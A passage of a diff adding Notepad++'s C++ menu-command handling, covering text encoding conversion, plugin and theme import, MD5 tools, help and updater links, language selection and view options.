IDM_FORMAT_UCS_2BE: + um = uni16BE; + break; + + case IDM_FORMAT_UCS_2LE: + um = uni16LE; + break; + + default : // IDM_FORMAT_ANSI + shoulBeDirty = buf->getUnicodeMode() != uniCookie; + um = uni8Bit; + } + + if (buf->getEncoding() != -1) + { + if (buf->isDirty()) + { + int answer = _nativeLangSpeaker.messageBox("SaveCurrentModifWarning", + NULL, + TEXT("You should save the current modification.\rAll the saved modifications can not be undone.\r\rContinue?"), + TEXT("Save Current Modification"), + MB_YESNO); + + if (answer == IDYES) + { + fileSave(); + _pEditView->execute(SCI_EMPTYUNDOBUFFER); + } + else + return; + } + + if (_pEditView->execute(SCI_CANUNDO) == TRUE) + { + generic_string msg, title; + int answer = _nativeLangSpeaker.messageBox("LoseUndoAbilityWarning", + NULL, + TEXT("You should save the current modification.\rAll the saved modifications can not be undone.\r\rContinue?"), + TEXT("Lose Undo Ability Waning"), + MB_YESNO); + if (answer == IDYES) + { + // Do nothing + } + else + return; + } + + buf->setEncoding(-1); + + if (um == uni8Bit) + _pEditView->execute(SCI_SETCODEPAGE, CP_ACP); + else + buf->setUnicodeMode(um); + fileReload(); + } + else + { + if (buf->getUnicodeMode() != um) + { + buf->setUnicodeMode(um); + if (shoulBeDirty) + buf->setDirty(true); + } + } + break; + } + + case IDM_FORMAT_WIN_1250 : + case IDM_FORMAT_WIN_1251 : + case IDM_FORMAT_WIN_1252 : + case IDM_FORMAT_WIN_1253 : + case IDM_FORMAT_WIN_1254 : + case IDM_FORMAT_WIN_1255 : + case IDM_FORMAT_WIN_1256 : + case IDM_FORMAT_WIN_1257 : + case IDM_FORMAT_WIN_1258 : + case IDM_FORMAT_ISO_8859_1 : + case IDM_FORMAT_ISO_8859_2 : + case IDM_FORMAT_ISO_8859_3 : + case IDM_FORMAT_ISO_8859_4 : + case IDM_FORMAT_ISO_8859_5 : + case IDM_FORMAT_ISO_8859_6 : + case IDM_FORMAT_ISO_8859_7 : + case IDM_FORMAT_ISO_8859_8 : + case IDM_FORMAT_ISO_8859_9 : + case IDM_FORMAT_ISO_8859_10 : + case IDM_FORMAT_ISO_8859_11 : + case IDM_FORMAT_ISO_8859_13 : + case IDM_FORMAT_ISO_8859_14 : + case IDM_FORMAT_ISO_8859_15 : + case IDM_FORMAT_ISO_8859_16 : + case IDM_FORMAT_DOS_437 : + case IDM_FORMAT_DOS_720 : + case IDM_FORMAT_DOS_737 : + case IDM_FORMAT_DOS_775 : + case IDM_FORMAT_DOS_850 : + case IDM_FORMAT_DOS_852 : + case IDM_FORMAT_DOS_855 : + case IDM_FORMAT_DOS_857 : + case IDM_FORMAT_DOS_858 : + case IDM_FORMAT_DOS_860 : + case IDM_FORMAT_DOS_861 : + case IDM_FORMAT_DOS_862 : + case IDM_FORMAT_DOS_863 : + case IDM_FORMAT_DOS_865 : + case IDM_FORMAT_DOS_866 : + case IDM_FORMAT_DOS_869 : + case IDM_FORMAT_BIG5 : + case IDM_FORMAT_GB2312 : + case IDM_FORMAT_SHIFT_JIS : + case IDM_FORMAT_KOREAN_WIN : + case IDM_FORMAT_EUC_KR : + case IDM_FORMAT_TIS_620 : + case IDM_FORMAT_MAC_CYRILLIC : + case IDM_FORMAT_KOI8U_CYRILLIC : + case IDM_FORMAT_KOI8R_CYRILLIC : + { + int index = id - IDM_FORMAT_ENCODE; + + EncodingMapper *em = EncodingMapper::getInstance(); + int encoding = em->getEncodingFromIndex(index); + if (encoding == -1) + { + //printStr(TEXT("Encoding problem. Command is not added in encoding_table?")); + return; + } + + Buffer* buf = _pEditView->getCurrentBuffer(); + if (buf->isDirty()) + { + generic_string warning, title; + int answer = _nativeLangSpeaker.messageBox("SaveCurrentModifWarning", + NULL, + TEXT("You should save the current modification.\rAll the saved modifications can not be undone.\r\rContinue?"), + TEXT("Save Current Modification"), + MB_YESNO); + + if (answer == IDYES) + { + fileSave(); + _pEditView->execute(SCI_EMPTYUNDOBUFFER); + } + else + return; + } + + if (_pEditView->execute(SCI_CANUNDO) == TRUE) + { + generic_string msg, title; + int answer = _nativeLangSpeaker.messageBox("LoseUndoAbilityWarning", + NULL, + TEXT("You should save the current modification.\rAll the saved modifications can not be undone.\r\rContinue?"), + TEXT("Lose Undo Ability Waning"), + MB_YESNO); + + if (answer != IDYES) + return; + } + + if (not buf->isDirty()) + { + buf->setEncoding(encoding); + buf->setUnicodeMode(uniCookie); + fileReload(); + } + break; + } + + + case IDM_FORMAT_CONV2_ANSI: + case IDM_FORMAT_CONV2_AS_UTF_8: + case IDM_FORMAT_CONV2_UTF_8: + case IDM_FORMAT_CONV2_UCS_2BE: + case IDM_FORMAT_CONV2_UCS_2LE: + { + int idEncoding = -1; + Buffer *buf = _pEditView->getCurrentBuffer(); + UniMode um = buf->getUnicodeMode(); + int encoding = buf->getEncoding(); + + switch(id) + { + case IDM_FORMAT_CONV2_ANSI: + { + if (encoding != -1) + { + // do nothing + return; + } + else + { + if (um == uni8Bit) + return; + + // set scintilla to ANSI + idEncoding = IDM_FORMAT_ANSI; + } + break; + } + case IDM_FORMAT_CONV2_AS_UTF_8: + { + if (encoding != -1) + { + buf->setDirty(true); + buf->setUnicodeMode(uniCookie); + buf->setEncoding(-1); + return; + } + + idEncoding = IDM_FORMAT_AS_UTF_8; + if (um == uniCookie) + return; + + if (um != uni8Bit) + { + ::SendMessage(_pPublicInterface->getHSelf(), WM_COMMAND, idEncoding, 0); + _pEditView->execute(SCI_EMPTYUNDOBUFFER); + return; + } + + break; + } + case IDM_FORMAT_CONV2_UTF_8: + { + if (encoding != -1) + { + buf->setDirty(true); + buf->setUnicodeMode(uniUTF8); + buf->setEncoding(-1); + return; + } + + idEncoding = IDM_FORMAT_UTF_8; + if (um == uniUTF8) + return; + + if (um != uni8Bit) + { + ::SendMessage(_pPublicInterface->getHSelf(), WM_COMMAND, idEncoding, 0); + _pEditView->execute(SCI_EMPTYUNDOBUFFER); + return; + } + break; + } + + case IDM_FORMAT_CONV2_UCS_2BE: + { + if (encoding != -1) + { + buf->setDirty(true); + buf->setUnicodeMode(uni16BE); + buf->setEncoding(-1); + return; + } + + idEncoding = IDM_FORMAT_UCS_2BE; + if (um == uni16BE) + return; + + if (um != uni8Bit) + { + ::SendMessage(_pPublicInterface->getHSelf(), WM_COMMAND, idEncoding, 0); + _pEditView->execute(SCI_EMPTYUNDOBUFFER); + return; + } + break; + } + + case IDM_FORMAT_CONV2_UCS_2LE: + { + if (encoding != -1) + { + buf->setDirty(true); + buf->setUnicodeMode(uni16LE); + buf->setEncoding(-1); + return; + } + + idEncoding = IDM_FORMAT_UCS_2LE; + if (um == uni16LE) + return; + if (um != uni8Bit) + { + ::SendMessage(_pPublicInterface->getHSelf(), WM_COMMAND, idEncoding, 0); + _pEditView->execute(SCI_EMPTYUNDOBUFFER); + return; + } + break; + } + } + + if (idEncoding != -1) + { + // Save the current clipboard content + ::OpenClipboard(_pPublicInterface->getHSelf()); + HANDLE clipboardData = ::GetClipboardData(CF_TEXT); + int len = static_cast(::GlobalSize(clipboardData)); + LPVOID clipboardDataPtr = ::GlobalLock(clipboardData); + + HANDLE allocClipboardData = ::GlobalAlloc(GMEM_MOVEABLE, len); + LPVOID clipboardData2 = ::GlobalLock(allocClipboardData); + + ::memcpy(clipboardData2, clipboardDataPtr, len); + ::GlobalUnlock(clipboardData); + ::GlobalUnlock(allocClipboardData); + ::CloseClipboard(); + + _pEditView->saveCurrentPos(); + + // Cut all text + int docLen = _pEditView->getCurrentDocLen(); + _pEditView->execute(SCI_COPYRANGE, 0, docLen); + _pEditView->execute(SCI_CLEARALL); + + // Change to the proper buffer, save buffer status + + ::SendMessage(_pPublicInterface->getHSelf(), WM_COMMAND, idEncoding, 0); + + // Paste the texte, restore buffer status + _pEditView->execute(SCI_PASTE); + _pEditView->restoreCurrentPos(); + + // Restore the previous clipboard data + ::OpenClipboard(_pPublicInterface->getHSelf()); + ::EmptyClipboard(); + ::SetClipboardData(CF_TEXT, clipboardData2); + ::CloseClipboard(); + + //Do not free anything, EmptyClipboard does that + _pEditView->execute(SCI_EMPTYUNDOBUFFER); + } + break; + } + + case IDM_SETTING_IMPORTPLUGIN : + { + // get plugin source path + TCHAR *extFilterName = TEXT("Notepad++ plugin"); + TCHAR *extFilter = TEXT(".dll"); + TCHAR *destDir = TEXT("plugins"); + + vector copiedFiles = addNppComponents(destDir, extFilterName, extFilter); + + // load plugin + vector dll2Remove; + for (size_t i = 0, len = copiedFiles.size() ; i < len ; ++i) + { + int index = _pluginsManager.loadPlugin(copiedFiles[i].c_str(), dll2Remove); + if (_pluginsManager.getMenuHandle()) + _pluginsManager.addInMenuFromPMIndex(index); + } + if (!_pluginsManager.getMenuHandle()) + _pluginsManager.setMenu(_mainMenuHandle, NULL); + ::DrawMenuBar(_pPublicInterface->getHSelf()); + break; + } + + case IDM_SETTING_IMPORTSTYLETHEMS : + { + // get plugin source path + TCHAR *extFilterName = TEXT("Notepad++ style theme"); + TCHAR *extFilter = TEXT(".xml"); + TCHAR *destDir = TEXT("themes"); + + // load styler + NppParameters *pNppParams = NppParameters::getInstance(); + ThemeSwitcher & themeSwitcher = pNppParams->getThemeSwitcher(); + + vector copiedFiles = addNppComponents(destDir, extFilterName, extFilter); + for (size_t i = 0, len = copiedFiles.size(); i < len ; ++i) + { + generic_string themeName(themeSwitcher.getThemeFromXmlFileName(copiedFiles[i].c_str())); + if (!themeSwitcher.themeNameExists(themeName.c_str())) + { + themeSwitcher.addThemeFromXml(copiedFiles[i].c_str()); + if (_configStyleDlg.isCreated()) + { + _configStyleDlg.addLastThemeEntry(); + } + } + } + break; + } + + case IDM_SETTING_SHORTCUT_MAPPER : + case IDM_SETTING_SHORTCUT_MAPPER_MACRO : + case IDM_SETTING_SHORTCUT_MAPPER_RUN : + { + GridState st = id==IDM_SETTING_SHORTCUT_MAPPER_MACRO?STATE_MACRO:id==IDM_SETTING_SHORTCUT_MAPPER_RUN?STATE_USER:STATE_MENU; + ShortcutMapper shortcutMapper; + shortcutMapper.init(_pPublicInterface->getHinst(), _pPublicInterface->getHSelf(), st); + _nativeLangSpeaker.changeShortcutmapperLang(&shortcutMapper); + shortcutMapper.doDialog(_nativeLangSpeaker.isRTL()); + shortcutMapper.destroy(); + break; + } + case IDM_SETTING_PREFERECE : + { + bool isFirstTime = !_preference.isCreated(); + _preference.doDialog(_nativeLangSpeaker.isRTL()); + + if (isFirstTime) + { + _nativeLangSpeaker.changePrefereceDlgLang(_preference); + } + break; + } + + case IDM_SETTING_EDITCONTEXTMENU : + { + _nativeLangSpeaker.messageBox("ContextMenuXmlEditWarning", + _pPublicInterface->getHSelf(), + TEXT("Editing contextMenu.xml allows you to modify your Notepad++ popup context menu on edit zone.\rYou have to restart your Notepad++ to take effect after modifying contextMenu.xml."), + TEXT("Editing contextMenu"), + MB_OK|MB_APPLMODAL); + + NppParameters *pNppParams = NppParameters::getInstance(); + BufferID bufID = doOpen((pNppParams->getContextMenuPath())); + switchToFile(bufID); + break; + } + + case IDM_VIEW_GOTO_ANOTHER_VIEW: + docGotoAnotherEditView(TransferMove); + checkSyncState(); + break; + + case IDM_VIEW_CLONE_TO_ANOTHER_VIEW: + docGotoAnotherEditView(TransferClone); + checkSyncState(); + break; + + case IDM_VIEW_GOTO_NEW_INSTANCE : + docOpenInNewInstance(TransferMove); + break; + + case IDM_VIEW_LOAD_IN_NEW_INSTANCE: + docOpenInNewInstance(TransferClone); + break; + + case IDM_VIEW_SWITCHTO_OTHER_VIEW: + { + int view_to_focus; + HWND wnd = GetFocus(); + if (_pEditView->getHSelf() == wnd) + { + view_to_focus = otherView(); + if (!viewVisible(view_to_focus)) view_to_focus = _activeView; + } + else + { + view_to_focus = currentView(); + } + switchEditViewTo(view_to_focus); + break; + } + + case IDM_TOOL_MD5_GENERATE: + { + bool isFirstTime = !_md5FromTextDlg.isCreated(); + _md5FromTextDlg.doDialog(_nativeLangSpeaker.isRTL()); + if (isFirstTime) + _nativeLangSpeaker.changeDlgLang(_md5FromTextDlg.getHSelf(), "MD5FromTextDlg"); + } + break; + + case IDM_TOOL_MD5_GENERATEFROMFILE: + { + bool isFirstTime = !_md5FromFilesDlg.isCreated(); + _md5FromFilesDlg.doDialog(_nativeLangSpeaker.isRTL()); + if (isFirstTime) + _nativeLangSpeaker.changeDlgLang(_md5FromFilesDlg.getHSelf(), "MD5FromFilesDlg"); + } + break; + + case IDM_TOOL_MD5_GENERATEINTOCLIPBOARD: + { + if (_pEditView->execute(SCI_GETSELECTIONS) == 1) + { + size_t selectionStart = _pEditView->execute(SCI_GETSELECTIONSTART); + size_t selectionEnd = _pEditView->execute(SCI_GETSELECTIONEND); + + int32_t strLen = static_cast(selectionEnd - selectionStart); + if (strLen) + { + int strSize = strLen + 1; + char *selectedStr = new char[strSize]; + _pEditView->execute(SCI_GETSELTEXT, 0, reinterpret_cast(selectedStr)); + + MD5 md5; + std::string md5ResultA = md5.digestString(selectedStr); + std::wstring md5ResultW(md5ResultA.begin(), md5ResultA.end()); + str2Clipboard(md5ResultW, _pPublicInterface->getHSelf()); + + delete [] selectedStr; + } + } + } + break; + + case IDM_DEBUGINFO: + { + _debugInfoDlg.doDialog(); + break; + } + + case IDM_ABOUT: + { + bool doAboutDlg = false; + const int maxSelLen = 32; + auto textLen = _pEditView->execute(SCI_GETSELTEXT, 0, 0) - 1; + if (!textLen) + doAboutDlg = true; + if (textLen > maxSelLen) + doAboutDlg = true; + + if (!doAboutDlg) + { + char author[maxSelLen+1] = ""; + _pEditView->getSelectedText(author, maxSelLen + 1); + int iQuote = getQuoteIndexFrom(author); + + if (iQuote == -1) + { + doAboutDlg = true; + } + else if (iQuote == -2) + { + generic_string noEasterEggsPath((NppParameters::getInstance())->getNppPath()); + noEasterEggsPath.append(TEXT("\\noEasterEggs.xml")); + if (!::PathFileExists(noEasterEggsPath.c_str())) + showAllQuotes(); + return; + } + if (iQuote != -1) + { + generic_string noEasterEggsPath((NppParameters::getInstance())->getNppPath()); + noEasterEggsPath.append(TEXT("\\noEasterEggs.xml")); + if (!::PathFileExists(noEasterEggsPath.c_str())) + showQuoteFromIndex(iQuote); + return; + } + } + + if (doAboutDlg) + { + bool isFirstTime = !_aboutDlg.isCreated(); + _aboutDlg.doDialog(); + if (isFirstTime && _nativeLangSpeaker.getNativeLangA()) + { + if (_nativeLangSpeaker.getLangEncoding() == NPP_CP_BIG5) + { + char *authorName = "«J¤µ§^"; + HWND hItem = ::GetDlgItem(_aboutDlg.getHSelf(), IDC_AUTHOR_NAME); + + WcharMbcsConvertor *wmc = WcharMbcsConvertor::getInstance(); + const wchar_t *authorNameW = wmc->char2wchar(authorName, NPP_CP_BIG5); + ::SetWindowText(hItem, authorNameW); + } + } + } + break; + } + + case IDM_HELP : + { + generic_string tmp((NppParameters::getInstance())->getNppPath()); + generic_string nppHelpPath = tmp.c_str(); + + nppHelpPath += TEXT("\\user.manual\\documentation\\notepad-online-document.html"); + if (::PathFileExists(nppHelpPath.c_str())) + ::ShellExecute(NULL, TEXT("open"), nppHelpPath.c_str(), NULL, NULL, SW_SHOWNORMAL); + else + { + generic_string msg = nppHelpPath; + generic_string warning, title; + if (!_nativeLangSpeaker.getMsgBoxLang("NppHelpAbsentWarning", title, warning)) + { + title = TEXT("File does not exist"); + warning = TEXT("\rdoesn't exist. Please download it on Notepad++ site."); + } + msg += warning; + ::MessageBox(_pPublicInterface->getHSelf(), msg.c_str(), title.c_str(), MB_OK); + } + } + break; + + case IDM_HOMESWEETHOME : + { + ::ShellExecute(NULL, TEXT("open"), TEXT("https://notepad-plus-plus.org/"), NULL, NULL, SW_SHOWNORMAL); + break; + } + case IDM_PROJECTPAGE : + { + ::ShellExecute(NULL, TEXT("open"), TEXT("https://github.com/notepad-plus-plus/notepad-plus-plus/"), NULL, NULL, SW_SHOWNORMAL); + break; + } + + case IDM_ONLINEHELP: + { + ::ShellExecute(NULL, TEXT("open"), TEXT("http://docs.notepad-plus-plus.org/"), NULL, NULL, SW_SHOWNORMAL); + break; + } + + case IDM_CMDLINEARGUMENTS: + { + ::MessageBox(NULL, COMMAND_ARG_HELP, TEXT("Notepad++ Command Argument Help"), MB_OK); + break; + } + + case IDM_FORUM: + { + ::ShellExecute(NULL, TEXT("open"), TEXT("https://notepad-plus-plus.org/community/"), NULL, NULL, SW_SHOWNORMAL); + break; + } + + case IDM_ONLINESUPPORT: + { + ::ShellExecute(NULL, TEXT("open"), TEXT("https://gitter.im/notepad-plus-plus/notepad-plus-plus"), NULL, NULL, SW_SHOWNORMAL); + break; + } + + case IDM_PLUGINSHOME: + { + ::ShellExecute(NULL, TEXT("open"), TEXT("http://docs.notepad-plus-plus.org/index.php/Plugin_Central"), NULL, NULL, SW_SHOWNORMAL); + break; + } + + case IDM_UPDATE_NPP : + case IDM_CONFUPDATERPROXY : + { + // wingup doesn't work with the obsolete security layer (API) under xp since downloadings are secured with SSL on notepad_plus_plus.org + winVer ver = NppParameters::getInstance()->getWinVersion(); + if (ver <= WV_XP) + { + long res = ::MessageBox(NULL, TEXT("Notepad++ updater is not compatible with XP due to the obsolete security layer under XP.\rDo you want to go to Notepad++ page to download the latest version?"), TEXT("Notepad++ Updater"), MB_YESNO); + if (res == IDYES) + { + ::ShellExecute(NULL, TEXT("open"), TEXT("https://notepad-plus-plus.org/download/"), NULL, NULL, SW_SHOWNORMAL); + } + } + else + { + generic_string updaterDir = (NppParameters::getInstance())->getNppPath(); + PathAppend(updaterDir, TEXT("updater")); + + generic_string updaterFullPath = updaterDir; + PathAppend(updaterFullPath, TEXT("gup.exe")); + + generic_string param; + if (id == IDM_CONFUPDATERPROXY) + { + param = TEXT("-options"); + } + else + { + param = TEXT("-verbose -v"); + param += VERSION_VALUE; + + if (NppParameters::getInstance()->isx64()) + { + param += TEXT(" -px64"); + } + } + Process updater(updaterFullPath.c_str(), param.c_str(), updaterDir.c_str()); + + updater.run(); + } + break; + } + + case IDM_EDIT_AUTOCOMPLETE : + showAutoComp(); + break; + + case IDM_EDIT_AUTOCOMPLETE_CURRENTFILE : + autoCompFromCurrentFile(); + break; + + case IDM_EDIT_AUTOCOMPLETE_PATH : + showPathCompletion(); + break; + + case IDM_EDIT_FUNCCALLTIP : + showFunctionComp(); + break; + + case IDM_LANGSTYLE_CONFIG_DLG : + { + bool isFirstTime = !_configStyleDlg.isCreated(); + _configStyleDlg.doDialog(_nativeLangSpeaker.isRTL()); + if (isFirstTime) + _nativeLangSpeaker.changeConfigLang(_configStyleDlg.getHSelf()); + break; + } + + case IDM_LANG_C : + case IDM_LANG_CPP : + case IDM_LANG_JAVA : + case IDM_LANG_CS : + case IDM_LANG_HTML : + case IDM_LANG_XML : + case IDM_LANG_JS : + case IDM_LANG_JSON : + case IDM_LANG_PHP : + case IDM_LANG_ASP : + case IDM_LANG_CSS : + case IDM_LANG_LUA : + case IDM_LANG_PERL : + case IDM_LANG_PYTHON : + case IDM_LANG_PASCAL : + case IDM_LANG_BATCH : + case IDM_LANG_OBJC : + case IDM_LANG_VB : + case IDM_LANG_SQL : + case IDM_LANG_ASCII : + case IDM_LANG_TEXT : + case IDM_LANG_RC : + case IDM_LANG_MAKEFILE : + case IDM_LANG_INI : + case IDM_LANG_TEX : + case IDM_LANG_FORTRAN : + case IDM_LANG_FORTRAN_77 : + case IDM_LANG_BASH : + case IDM_LANG_FLASH : + case IDM_LANG_NSIS : + case IDM_LANG_TCL : + case IDM_LANG_LISP : + case IDM_LANG_SCHEME : + case IDM_LANG_ASM : + case IDM_LANG_DIFF : + case IDM_LANG_PROPS : + case IDM_LANG_PS: + case IDM_LANG_RUBY: + case IDM_LANG_SMALLTALK: + case IDM_LANG_VHDL : + case IDM_LANG_KIX : + case IDM_LANG_CAML : + case IDM_LANG_ADA : + case IDM_LANG_VERILOG : + case IDM_LANG_MATLAB : + case IDM_LANG_HASKELL : + case IDM_LANG_AU3 : + case IDM_LANG_INNO : + case IDM_LANG_CMAKE : + case IDM_LANG_YAML : + case IDM_LANG_COBOL : + case IDM_LANG_D : + case IDM_LANG_GUI4CLI : + case IDM_LANG_POWERSHELL : + case IDM_LANG_R : + case IDM_LANG_JSP : + case IDM_LANG_COFFEESCRIPT: + case IDM_LANG_BAANC: + case IDM_LANG_SREC: + case IDM_LANG_IHEX: + case IDM_LANG_TEHEX: + case IDM_LANG_SWIFT: + case IDM_LANG_ASN1 : + case IDM_LANG_AVS : + case IDM_LANG_BLITZBASIC : + case IDM_LANG_PUREBASIC : + case IDM_LANG_FREEBASIC : + case IDM_LANG_CSOUND : + case IDM_LANG_ERLANG : + case IDM_LANG_ESCRIPT : + case IDM_LANG_FORTH : + case IDM_LANG_LATEX : + case IDM_LANG_MMIXAL : + case IDM_LANG_NIMROD : + case IDM_LANG_NNCRONTAB : + case IDM_LANG_OSCRIPT : + case IDM_LANG_REBOL : + case IDM_LANG_REGISTRY : + case IDM_LANG_RUST : + case IDM_LANG_SPICE : + case IDM_LANG_TXT2TAGS : + case IDM_LANG_VISUALPROLOG: + case IDM_LANG_USER : + { + setLanguage(menuID2LangType(id)); + // Manually set language, don't change language even file extension changes. + Buffer *buffer = _pEditView->getCurrentBuffer(); + buffer->langHasBeenSetFromMenu(); + + if (_pDocMap) + { + _pDocMap->setSyntaxHiliting(); + } + } + break; + + case IDC_PREV_DOC : + case IDC_NEXT_DOC : + { + size_t nbDoc = viewVisible(MAIN_VIEW) ? _mainDocTab.nbItem() : 0; + nbDoc += viewVisible(SUB_VIEW)?_subDocTab.nbItem():0; + + bool doTaskList = ((NppParameters::getInstance())->getNppGUI())._doTaskList; + if (nbDoc > 1) + { + bool direction = (id == IDC_NEXT_DOC)?dirDown:dirUp; + if (!doTaskList) + { + activateNextDoc(direction); + } + else + { + if (TaskListDlg::_instanceCount == 0) + { + TaskListDlg tld; + HIMAGELIST hImgLst = _docTabIconList.getHandle(); + tld.init(_pPublicInterface->getHinst(), _pPublicInterface->getHSelf(), hImgLst, direction); + tld.doDialog(); + } + } + } + _linkTriggered = true; + } + break; + + case IDM_OPEN_ALL_RECENT_FILE : + { + BufferID lastOne = BUFFER_INVALID; + int size = _lastRecentFileList.getSize(); + for (int i = size - 1; i >= 0; i--) + { + BufferID test = doOpen(_lastRecentFileList.getIndex(i)); + if (test != BUFFER_INVALID) + lastOne = test; + } + if (lastOne != BUFFER_INVALID) + { + switchToFile(lastOne); + } + break; + } + + case IDM_CLEAN_RECENT_FILE_LIST : + _lastRecentFileList.clear(); + break; + + case IDM_EDIT_RTL : + case IDM_EDIT_LTR : + { + _pEditView->changeTextDirection(id == IDM_EDIT_RTL); + + // Wrap then !wrap to fix problem of mirror characters + bool isWraped = _pEditView->isWrap(); + _pEditView->wrap(!isWraped); + _pEditView->wrap(isWraped); + if (_pDocMap) + { + _pDocMap->changeTextDirection(id == IDM_EDIT_RTL); + } + } + break; + + case IDM_WINDOW_WINDOWS : + { + WindowsDlg _windowsDlg; + _windowsDlg.init(_pPublicInterface->getHinst(), _pPublicInterface->getHSelf(), _pDocTab); + + const TiXmlNodeA *nativeLangA = _nativeLangSpeaker.getNativeLangA(); + TiXmlNodeA *dlgNode = NULL; + if (nativeLangA) + { + dlgNode = nativeLangA->FirstChild("Dialog"); + if (dlgNode) + dlgNode = _nativeLangSpeaker.searchDlgNode(dlgNode, "Window"); + } + _windowsDlg.doDialog(dlgNode); + } + break; + + + case IDM_SYSTRAYPOPUP_NEWDOC: + { + NppGUI & nppGUI = const_cast((NppParameters::getInstance())->getNppGUI()); + ::ShowWindow(_pPublicInterface->getHSelf(), nppGUI._isMaximized?SW_MAXIMIZE:SW_SHOW); + fileNew(); + } + break; + + case IDM_SYSTRAYPOPUP_ACTIVATE : + { + NppGUI & nppGUI = const_cast((NppParameters::getInstance())->getNppGUI()); + ::ShowWindow(_pPublicInterface->getHSelf(), nppGUI._isMaximized?SW_MAXIMIZE:SW_SHOW); + + // Send sizing info to make window fit (specially to show tool bar. Fixed issue #2600) + ::SendMessage(_pPublicInterface->getHSelf(), WM_SIZE, 0, 0); + } + break; + + case IDM_SYSTRAYPOPUP_NEW_AND_PASTE: + { + NppGUI & nppGUI = const_cast((NppParameters::getInstance())->getNppGUI()); + ::ShowWindow(_pPublicInterface->getHSelf(), nppGUI._isMaximized?SW_MAXIMIZE:SW_SHOW); + BufferID bufferID = _pEditView->getCurrentBufferID(); + Buffer * buf = MainFileManager->getBufferByID(bufferID); + if (!buf->isUntitled() || buf->docLength() != 0) + { + fileNew(); + } + command(IDM_EDIT_PASTE); + } + break; + + case IDM_SYSTRAYPOPUP_OPENFILE: + { + NppGUI & nppGUI = const_cast((NppParameters::getInstance())->getNppGUI()); + ::ShowWindow(_pPublicInterface->getHSelf(), nppGUI._isMaximized?SW_MAXIMIZE:SW_SHOW); + + // Send sizing info to make window fit (specially to show tool bar. Fixed issue #2600) + ::SendMessage(_pPublicInterface->getHSelf(), WM_SIZE, 0, 0); + fileOpen(); + } + break; + + case IDM_SYSTRAYPOPUP_CLOSE: + { + _pPublicInterface->setIsPrelaunch(false); + _pTrayIco->doTrayIcon(REMOVE); + if (!::IsWindowVisible(_pPublicInterface->getHSelf())) + ::SendMessage(_pPublicInterface->getHSelf(), WM_CLOSE, 0,0); + } + break; + + case IDM_FILE_RESTORELASTCLOSEDFILE: + { + generic_string lastOpenedFullPath = _lastRecentFileList.getFirstItem(); + if (not lastOpenedFullPath.empty()) + { + BufferID lastOpened = doOpen(lastOpenedFullPath); + if (lastOpened != BUFFER_INVALID) + switchToFile(lastOpened); + } + } + break; + + case IDM_VIEW_LINENUMBER: + case IDM_VIEW_SYMBOLMARGIN: + case IDM_VIEW_DOCCHANGEMARGIN: + { + int margin; + if (id == IDM_VIEW_LINENUMBER) + margin = ScintillaEditView::_SC_MARGE_LINENUMBER; + else //if (id == IDM_VIEW_SYMBOLMARGIN) + margin = ScintillaEditView::_SC_MARGE_SYBOLE; + + if (_mainEditView.hasMarginShowed(margin)) + { + _mainEditView.showMargin(margin, false); + _subEditView.showMargin(margin, false); + } + else + { + _mainEditView.showMargin(margin); + _subEditView.showMargin(margin); + } + } + break; + + case IDM_VIEW_FOLDERMAGIN_SIMPLE: + case IDM_VIEW_FOLDERMAGIN_ARROW: + case IDM_VIEW_FOLDERMAGIN_CIRCLE: + case IDM_VIEW_FOLDERMAGIN_BOX: + case IDM_VIEW_FOLDERMAGIN: + { + folderStyle fStyle = (id == IDM_VIEW_FOLDERMAGIN_SIMPLE) ? FOLDER_STYLE_SIMPLE : \ + (id == IDM_VIEW_FOLDERMAGIN_ARROW) ? FOLDER_STYLE_ARROW : \ + (id == IDM_VIEW_FOLDERMAGIN_CIRCLE) ? FOLDER_STYLE_CIRCLE : \ + (id == IDM_VIEW_FOLDERMAGIN) ? FOLDER_STYLE_NONE : FOLDER_STYLE_BOX; + + _mainEditView.setMakerStyle(fStyle); + _subEditView.setMakerStyle(fStyle); + } + break; + + case IDM_VIEW_CURLINE_HILITING: + { + COLORREF colour = (NppParameters::getInstance())->getCurLineHilitingColour(); + _mainEditView.setCurrentLineHiLiting(!_pEditView->isCurrentLineHiLiting(), colour); + _subEditView.setCurrentLineHiLiting(!_pEditView->isCurrentLineHiLiting(), colour); + } + break; + + case IDM_VIEW_EDGEBACKGROUND: + case IDM_VIEW_EDGELINE: + case IDM_VIEW_EDGENONE: + { + int mode; + switch (id) + { + case IDM_VIEW_EDGELINE: + { + mode = EDGE_LINE; + break; + } + case IDM_VIEW_EDGEBACKGROUND: + { + mode = EDGE_BACKGROUND; + break; + } + default: + mode = EDGE_NONE; + } + _mainEditView.execute(SCI_SETEDGEMODE, mode); + _subEditView.execute(SCI_SETEDGEMODE, mode); + } + break; + + case IDM_VIEW_LWDEF: + case IDM_VIEW_LWALIGN: + case IDM_VIEW_LWINDENT: + { + int mode = (id == IDM_VIEW_LWALIGN) ? SC_WRAPINDENT_SAME : \ + (id == IDM_VIEW_LWINDENT) ? SC_WRAPINDENT_INDENT : SC_WRAPINDENT_FIXED; + _mainEditView.execute(SCI_SETWRAPINDENTMODE, mode); + _subEditView.execute(SCI_SETWRAPINDENTMODE, mode); + } + break; + + default : + if (id > IDM_FILEMENU_LASTONE && id < (IDM_FILEMENU_LASTONE + _lastRecentFileList.getMaxNbLRF() + 1)) + { + BufferID lastOpened = doOpen(_lastRecentFileList.getItem(id)); + if (lastOpened != BUFFER_INVALID) + { + switchToFile(lastOpened); + } + } + else if ((id > IDM_LANG_USER) && (id < IDM_LANG_USER_LIMIT)) + { + TCHAR langName[langNameLenMax]; + ::GetMenuString(_mainMenuHandle, id, langName, langNameLenMax, MF_BYCOMMAND); + _pEditView->getCurrentBuffer()->setLangType(L_USER, langName); + if (_pDocMap) + { + _pDocMap->setSyntaxHiliting(); + } + } + else if ((id >= IDM_LANG_EXTERNAL) && (id <= IDM_LANG_EXTERNAL_LIMIT)) + { + setLanguage((LangType)(id - IDM_LANG_EXTERNAL + L_EXTERNAL)); + if (_pDocMap) + { + _pDocMap->setSyntaxHiliting(); + } + } + else if ((id >= ID_MACRO) && (id < ID_MACRO_LIMIT)) + { + int i = id - ID_MACRO; + vector & theMacros = (NppParameters::getInstance())->getMacroList(); + macroPlayback(theMacros[i].getMacro()); + } + else if ((id >= ID_USER_CMD) && (id < ID_USER_CMD_LIMIT)) + { + int i = id - ID_USER_CMD; + vector & theUserCommands = (NppParameters::getInstance())->getUserCommandList(); + UserCommand ucmd = theUserCommands[i]; + + Command cmd(ucmd.getCmd()); + cmd.run(_pPublicInterface->getHSelf()); + } + else if ((id >= ID_PLUGINS_CMD) && (id < ID_PLUGINS_CMD_LIMIT)) + { + int i = id - ID_PLUGINS_CMD; + _pluginsManager.runPluginCommand(i); + } + else if 